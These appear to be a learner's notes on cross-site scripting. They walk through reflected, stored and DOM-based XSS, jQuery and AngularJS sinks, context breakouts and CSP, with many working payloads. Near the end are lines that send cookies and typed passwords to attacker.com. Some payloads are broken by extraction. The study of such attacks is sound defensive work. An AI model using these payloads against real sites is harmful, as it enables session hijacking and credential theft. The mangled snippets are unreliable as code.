Cross-site scripting (XSS) works by manipulating a vulnerable web site so that it returns malicious JavaScript to users.
XSS cheatsheet: PortSwigger XSS cheat-sheet
More info about Javascript & obfuscation: [Javascript & Obfuscation]({{< ref “web/web-security/javascript and obfuscation/index” >}})
Warning: Do not use
alert(1)-> usealert(document.domain).
<textarea id="script" onchange=("unsafe(this.value)"></textarea><br>
<iframe id="result" sandbox="allow-scripts allow-modals"></iframe>document.session = "secret"
function unsafe(t) {
var i = document.getElementById('result'); // get the <iframe>
i.srcdoc = "<body><script>document.write("+t+");<"+"/script><body>";
}alert(1) and you see it works… butalert(document.session) won’t work… why?alert(window.origin) or
alert(document.domain) and you’ll see it’s empty
alert(document.domain) or
alert(window.origin) insteadWarning: Do not use
<script>tag -> use<img>.If your target is using the innerHTML sink, the most common sink vulnerable to DOM XSS so your script might not work as expected. This is because innerHTML won’t render a
<script>tag [↗]. However, if you use an<img>tag with an onerror attribute instead, the script will execute normally.Additionally, if the target sanitizes your payload using a library like DOMPurify, instead of simply encoding it, a
<script>tag would be completely stripped out, leaving no visible trace. On the other hand, if you use an<img>tag, DOMPurify will remove the onerror attribute as expected, but the image itself will still be present. You will see the image load (or attempt to load) and the corresponding request in the logs, signaling that further investigation is needed.
The malicious script comes from the current HTTP request.
https://insecure-website.com/search?term=<script>alert(document.domain)</script>The malicious script comes from the website’s database. POST body example:
comment=<script>alert(document.domain)</script>The vulnerability exists in client-side code rather than server-side code.
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script># Get request
https://insecure-website.com/index?search="><script>alert(document.domain)</script>Methodology
Notes: 1. Here there are some sources and sinks
https://github.com/wisec/domxsswiki/wiki https://portswigger.net/web-security/cross-site-scripting/dom-based#which-sinks-can-lead-to-dom-xss-vulnerabilities
- DOM Invader (Burp Suite tool) is a browser-based tool that helps you test for DOM XSS vulnerabilities using a variety of sources and sinks.
<!-- Vulnerable website -->
<script>
window.addEventListener('message', function(e) {
document.getElementById('test').innerHTML = e.data;
})
</script>Exploit
<iframe src=https://vuln.website/ onload='this.contentWindow.postMessage("<img src=1 onerror=print()>","*")'>jQuery’s attr() function can change the attributes
of DOM elements
$(function() {
$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});Exploit
?returnUrl=javascript:alert(document.domain)jQuery’s $() selector function in another potential
sink. If you open the browser console and type
$('<img src=x onerror=alert()>') jQuery creates
this new element (so the alert will be shown)
An example:
$(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});Exploit
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">Note: Recent versions of jQuery have patched this specific vulnerability by preventing HTML injection into a selector if the input begins with a hash (#). But remember, this is just an example, the real problem is how
$()selector works .
When a site uses the ng-app attribute on an HTML
element, AngularJS processes it and executes JavaScript inside
double curly braces {{ }} in HTML or attributes.
Consider
https://example.com/?search=test<body ng-app>
<!-- something -->
<h1>0 search results for 'test'</h1>
<!-- something -->
</body>Test
https://example.com/?search=%7B%7B1%2B1%7D%7D # ?search={{1+1}}<body ng-app>
<!-- something -->
<h1>0 search results for '2'</h1>
<!-- something -->
</body>Exploit
https://example.comnet/?search=%7B%7B%24on.constructor%28%27alert%281%29%27%29%28%29%7D%7D
# ?search={{$on.constructor('alert(1)')()}}<body ng-app>
<!-- something -->
<h1>0 search results for ''</h1>
<!-- something -->
</body>If a script reads data from a URL and writes it to a dangerous sink, the vulnerability is client-side with no server processing.
eval('var data = "reflected string"');element.innerHTML = comment.author<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>Note: Understand how a payload works
<body onresize="print()">with this payload (for reflected XSS) you need an exploit server and iframe tag
Terminate the attribute value, close the tag, and introduce a new one.
"><script>alert(document.domain)</script>If angle brackets are blocked or encoded, introduce a new attribute that creates a scriptable context.
" autofocus onfocus=alert(document.domain) x="If XSS context is into the href attribute of an anchor tag, use the javascript pseudo-protocol to execute script
<a href="javascript:alert(document.domain)">Access keys allow you to provide keyboard shortcuts that reference a specific element. This is useful in hidden inputs because events like onmouseover and onfocus can’t be triggered due to the element being invisible
<input type="hidden" accesskey="X" onclick="alert(1)"><link rel="canonical" accesskey="X" onclick="alert(1)" />Note:
- Substitute
'"and vice versa- Space is not needed
<link rel="canonical" href='https://website.net/?'accesskey='X'onclick='alert(1)'/>
<link rel="canonical" href='https://website.net/?'accesskey='X'onclick='alert(1)'/>Terminating the existing script
The browser interprets the </script> sequence
within the string as the end of the script block, prematurely
stopping the execution of your JavaScript script and generating an
error.
<script>
...
var input = 'controllable data here';
...
</script><!-- Payload -->
</script><img src=1 onerror=alert(document.domain)>Breaking out of a JavaScript string
It’s essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing
'-alert(document.domain)-'
';alert(document.domain)//Some applications try to escape single quote characters with a backslash but often forget to escape the backslash itself.
';alert(document.domain)// is converted to
\';alert(document.domain)// \';alert(document.domain)//
which gets converted to
\\';alert(document.domain)//Making use of HTML-encoding
<a href="#" onclick="... var input='controllable data here'; ...">'-alert(document.domain)-'Note: You cannot use
"->"to close onclick attribute. Remember: The browser HTML-decode the value of the onlick attribute but not the entire structure.
XSS in JavaScript template literals
JavaScript template literals are string literals that allow embedded JavaScript expressions (Template literals are encapsulated in backticks)
<script>
...
var input = `controllable data here`;
...
</script>
${alert(document.domain)}If you receive an error like “tag is not allowed” or “event is not allowed”, use XSS cheat sheet (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) to discover a tag and event that work.
<script>fetch('//attacker.com?'+document.cookie)</script>
<!-- or -->
<script>location='//attacker.com?'?+document.cookie</script><script>
fetch('https://attacker.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>Limitation:
HttpOnly flag.<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://attacker.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">CSP restrict the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. CSP defends against XSS attacks in the following ways
<script>document.body.innerHTML='defaced'</script>
will not work<script src="https://evil.com/hacked.js"></script>
will not workYou can compress and minify your JS by using tools like JSCompress.